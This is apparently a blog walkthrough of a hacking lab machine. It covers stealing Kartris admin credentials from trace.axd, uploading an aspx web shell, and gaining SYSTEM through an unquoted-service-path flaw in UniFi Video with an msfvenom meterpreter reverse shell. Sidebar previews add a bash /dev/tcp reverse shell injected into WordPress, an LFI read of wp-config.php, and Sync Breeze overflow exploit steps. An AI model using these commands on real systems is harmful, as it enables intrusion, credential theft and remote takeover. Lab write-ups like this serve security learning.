Hacking walkthrough: Kartris - trace.axd - Ubiquiti UniFi Video - Apache Tomcat/Coyote 1.1 - Windows 10

Port 80: Microsoft-IIS/10.0

Port 7080:  Apache Tomcat/Coyote  1.1 +Ubiquiti UniFi Video

Web Application: Kartris

Software: Ubiquiti UniFi Video

Operating system:  Microsoft Windows 10 Build 16299

Vulnerability: CVE-2016-6914 [LPE]

Exploit:https://www.exploit-db.com/exploits/43390

 

Getting inside Kartris

  • Go to http://ip-address/trace.axd , find Admin/Default.aspx , click view details. Under "Form Collection", you will see login credentials.
  • Go to http://ip-address/Admin/Default.aspx?page=_Default.aspx . Enter the credentials. 
  • Go to http://ip-address/Admin/_GeneralFiles.aspx . Click "Add" button" , you will get an upload box.

 

Getting inside Windows [Initial Shell]

  • Get an aspx web shell (cmdasp.aspx) from /usr/share/webshells/aspx/cmdasp.aspx . Upload it to Kartris. 
  • Go to http://ip-address/uploads/General/cmdasp.aspx . Now you have a shell and can play around in windows 10. Type "whoami" "systeminfo" ..etc

Privilege Escalation

  • I found "Unquoted service paths" vulnerability. To find it type:
  • wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
  • I got the following output:  
Ubiquiti UniFi Video UniFiVideoService C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService Auto
  • Lets check the directory permissions :
  • Type: icacls C:\ProgramData\unifi-video\avService.exe
  • If you get "F" for users, which means full, then you have "write" access to the whole path above, meaning you can write to c: , ProgramData and uni-video . 
  • Lets follow the exploit instructions and create "taskkill.exe". We do this by typing: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=-your-ip LPORT=1234 -f exe -o taskkill.exe 
  • Place it under unifi-video folder. The goal is to restart the service, and once started this file will be executed as a system user which gives us full privilege escalation.
  • Upload the file to Kartris, then Copy the file to the target by typing:  
copy "C:\inetpub\wwwroot\uploads\General\taskkill.exe" "C:\ProgramData\unifi-video\"
  • Lets restart the system by typing: shutdown /r /t 0 .

Setting up a listener [Full reverse shell]

  • Type: msfconsole
  • Type: use multi/handler
  • Type: set payload windows/meterpreter/reverse_tcp
  • Type: options
  • change the values of lhost , lport . 
  • set lhost your-ip 
  • set lport 1234
  • Type: run
  • Make sure you open the Metasploit listener before you shutdown the server
  • Once the system is restarted , you will get a shell as a system . 


Happy hacking

 



 




Comments

Post a Comment

Popular posts from this blog

Hacking walkthrough: Cacti 1.2.8 exploit Ubuntu 18.04.3 LTS [RCE] [PE]

 This is a CTF (hacking lab) I tried . Its interesting and there are many ways to solve it or even to customize this CTF box. I dont know if you have seen it somewhere, I haven't so I had to do some researching. Im sure if there are/will-be similar others,they (will) share something in common which is  Cacti 1.2.8.   Web application:  Cacti 1.2.8 Server: Linux 4.15.0-88-generic Ubuntu 18.04.3 LTS Vulnerability:  CVE-2020-8813 Exploits:   48144 & 48145 . Use the one that fits the box situation which is normally in case of CTFs  48145 (Unauthenticated exploit) Vulnerability and Exploits documentation: https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/     First of all, in this box I had to change the payload, because netcat didn't work, so I had to do some experimenting with other reverse shells with no luck . So i thought to test the connecti...
Read more

Hacking Wakthrough : Linux version 3.10.0-123.el7.x86_64 / Wordpress 4.7.2

Server Operating system : Linux version 3.10.0-123.el7.x86_64 Hosted Web application : Wordpress 4.7.2  Vulnerabilities found:  Linux: https://www.exploit-db.com/exploits/35370 ( Local privilege escalation) Wordpress : https://www.exploit-db.com/exploits/39558 (Site import 1.0.1 plugin - LFI/RFI). There could be other vulnerable plugins   How to root the Linux server ? Type this url:  http://server-address/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../../../../../../../var/www/html/wp-config.php  View source this wp-config.php Find the database password. Use it to login the admin page. You need to figure out to find the name of the admin/user by using the tool wpscan : wpscan http://server-url  -e u Once inside wordpress, go to apperances/editor.  Copy this php reverse shell: inject <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip-addrr/port 0>&1'"); ?> to one the p...
Read more

Hacking Wakthrough: Sync Breeze Enterprise v8.9.24

Software : Sync Breeze Enterprise v8.9.24 Exploit : https://www.exploit-db.com/exploits/40456 Operating system :  Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) Follow these Steps: Download 40456.py Run the command : m sfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest A payload will be generated (my payload size is 310) Copy the payload and replace the payload that's in the python script.Payload starts at line 28 with : buf = "" If your payload has buf = b"" buf += b"\xd9\xed\xd9\x74\x24\xf4\xbb\x9c\x69\xcd\x48\x5d\x29" ! remove the letter "b" and make it look just like the exploit Go to this line: "\x41" * 12292 #subtract/add for payload The script payload is 308 ( #payload size 308 ) so mine is 2 bytes more.  If your payload is 2 or more subtract 2 from 12292 ( 12292 - ...
Read more